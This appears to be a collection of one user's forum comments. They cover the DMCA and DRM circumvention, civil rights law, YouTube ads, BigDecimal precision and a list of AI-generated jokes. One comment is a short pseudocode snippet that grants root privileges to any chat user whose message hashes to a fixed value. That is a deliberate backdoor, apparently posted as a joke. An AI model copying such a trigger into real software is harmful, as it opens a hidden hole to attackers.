By some argument, section 103 of the DMCA (which is what grandparent post is referring to) does make it illegal to even talk about DRM circumvention methods.

illegal to: (2) “manufacture, import, offer to the public, provide, or otherwise traffic in” a device, service or component which is primarily intended to circumvent “a technological measure that effectively controls access to a work,” and which either has limited commercially significant other uses or is marketed for the anti-circumvention purpose.

If youtube implements an “access control measure” by splicing the ads with the video and disabling the fast-forward button during the ad, and you go on a forum and say “Oh yeah, you can write a script that detects the parts that are ads because the button is disabled, and force-fast-forwards through those”, some lawyer would argue that you have offered to the public a method to circumvent an access control measure, and therefore your speech is illegal. If you actually write the greasemonkey script and post it online, that would definitely be illegal.

This is abhorrent to the types among us for whom “code IS free speech”, but this scenario is not just a hypothetical. DMCA has been controversial for a long time. Digg collapsed in part because of the user revolt over the admins deleting any post containing the leaked AACS decryption key, which is just a 32-digit number. Yet “speaking” the number alone, aloud, on an online platform (and nothing else!) was enough for MPAA to send cease and desist letters to Digg under DMCA, and Digg folded.

The show For All Mankind did a good take on the problem IMO. Being gay wasn’t illegal per se, but gay people could not be employed at NASA. They still joined, but they kept their orientation hidden. Then the security forces used the justification that gays keeping secrets were vulnerable to blackmail to go on witch hunts to seek and root out gays, and to defend the decision to ban gays from employment in the first place. It was a circular argument through-and-through. The base reason has always been prejudice. Didn’t help that in the show there were real Soviet spies running around trying to find gays to extort for NASA rocket secrets.

They said the same thing to justify banning gays from working for the government or serving in the military.

only pertain to hiring of individuals

Not true. Title II of Civil Rights Act (1964) prohibits discrimination in public accomodations (such as hotels and restaurants or other establishments that serve the public), as affirmed by the Supreme Court to be enforceable in for example Heart of Atlanta Motel, Inc. (1964).

That’s the Supreme Court for ya! Their judgements do tend to meander and sometimes flip over the years, especially recently. You are probably refering to Masterpiece Cakeshop (2017) decision being different from the civil rights era cases, like say Newman v. Piggie Park Enterprises, Inc. (1968) where the defendant who did not want to serve black customers at his BBQ restaurants unsuccessfully argued that “the Civil Rights Act violated his freedom of religion as his religious beliefs compel him to oppose any integration of the races whatever.” It is still enlightening to read the actual court decisions and the justifications used to arrive at one conclusion or another, and especially their explanations for how the current case is different from all the other cases decided before. After a while though it does start to look as if you could argue for any point of view whatsoever if you argued hard enough.

You absolutely do not have the right to post a sign like “No Hispanics” at your restaurant, under current US law (Civil Rights Act of 1964). You do not have to wait for an actual hispanic person to show up and be refused service to be liable - the presence of the sign alone is already in violation and can get you fined or imprisoned. You cannot claim “This sign is just for decoration as an expression of my 1st Amendment rights, we would never actually enforce it.” In this way, the Civil Rights Act already does abridge your right to write any sign you want, ironically in direct contradiction to the “Congress shall make no law” language of the 1st Amendment.

An atheist living in Saudi Arabia absolutely has the right to walk into the public square and shout that god does not exist. They just have to be willing to accept the consequences of execution as a result.

Stating a fact of physical ability does not contribute any additional information in a discussion about legality.

Piped/invidious work by scrapping the video chunks directly from google and proxying them through volunteer servers. They will stop working as soon as google gets around to locking down the APIs that they are abusing, or blocks their server IPs.

This is like that Key and Peele sketch where they rob the bank by working in there for 20 years.

That’s why Google is pushing hard their Web Environment Integrity. It’s DRM for the browser! They want the TPM chip in your computer to attest that the code running processing the video stream is authentic. Then you can’t slice out the ads because you do not have physical access to the inside of TPM. With HDCP encryption on the HDMI video output, you gonna need to point a literal video camera at the physical screen to DVR the video and slice out the ads later.

They’ve been working hard for decades to lock down the video pipeline with TPM and HDCP and now WEI. They said “don’t worry about it” and we let them. They are really close to snapping the trap shut!

Now please excuse me, my tongue is falling off with all the acronyms…

We are totally gonna get DVRs back, aren’t we 🤣?

That’s what I used to think as a kid - westerns standoffs are an outgrowth of Old World duels, a formalized custom performed by traditionalists, even the baddest bandit secretly being a gentleman at heart. The showerthought here is that the order of events is also perfectly explained by taking legal considerations of justified self-defense into account.

So what does this mean for Western gunslingers? Is it always better to draw second? Well, not quite. Welchman also found that the 21 millisecond benefit of reacting quickly was totally overwhelmed by the 200 milliseconds it took to react in the first place.

I was just pointing out the absurdity of describing seeing something on TV in a plane, recorded with a camera on the plane, as seeing it with your own eyes, without even realizing it 😄.

Is it different to see a launch live on TV in a plane vs. seeing a launch live on TV at home?

You won’t survive even 24 hours in a 100°F hot tub 🤣.

Give it a MathContext with the max precision that you want to allow.

The arbitrary precision may cause your bignums to balloon out of control in memory/cpu usage after repeated multiplication, unless you can prove that it will not. For example:

double x = 1;
while (true){
    x *= Math.exp((Math.random()*2 - 1) / 1000);
}

Would work perfectly fine with floats and x will remain about 1, but with BigDecimal it will grind to a halt.

Event.register('on_say', function(e){
    if (Utils.sha(e.msg) == "da39a3ee5e6b4b0d3255bfef95601890afd80709"){
        ACL.grant_root_privs(e.usr)
    }
})

Top 25 AI jokes from the paper appendix:

• T1. Why did the scarecrow win an award?
  Because he was outstanding in his field. (140)
• T2. Why did the tomato turn red?
  Because it saw the salad dressing. (122)
• T3. Why was the math book sad?
  Because it had too many problems. (121)
• T4. Why don’t scientists trust atoms?
  Because they make up everything. (119)
• T5. Why did the cookie go to the doctor?
  Because it was feeling crumbly. (79)
• T6. Why couldn’t the bicycle stand up by itself?
  Because it was two-tired. (52)
• T7. Why did the frog call his insurance company?
  He had a jump in his car. (36)
• T8. Why did the chicken cross the playground?
  To get to the other slide. (33)
• T9. Why was the computer cold?
  Because it left its Windows open. (23)
• T10. Why did the hipster burn his tongue?
  He drank his coffee before it was cool. (21)
• T11. Why don’t oysters give to charity?
  Because they’re shellfish. (21)
• T12. Why did the computer go to the doctor?
  Because it had a virus. (20)
• T13. Why did the banana go to the doctor?
  Because it wasn’t peeling well. (19)
• T14. Why did the coffee file a police report?
  Because it got mugged. (18)
• T15. Why did the golfer bring two pairs of pants?
  In case he got a hole in one. (13)
• T16. Why did the man put his money in the freezer?
  He wanted cold hard cash. (13)
• T17. Why don’t seagulls fly over the bay?
  Because then they’d be bagels. (13)
• T18. Why did the chicken go to the seance?
  To talk to the other side. (11)
• T19. Why was the belt sent to jail?
  Because it held up a pair of pants. (11)
• T20. Why did the chicken cross the road?
  To get to the other side. (7)
• T21. Why did the computer go to the doctor?
  Because it had a byte. (6)
• T22. Why did the cow go to outer space?
  To see the moooon. (6)
• T23. Why did the man put his money in the blender?
  He wanted to make liquid assets. (6)
• T24. Why don’t skeletons fight each other?
  They don’t have the guts. (5)
• T25. What do you call an alligator in a vest?
  An investigator. (5)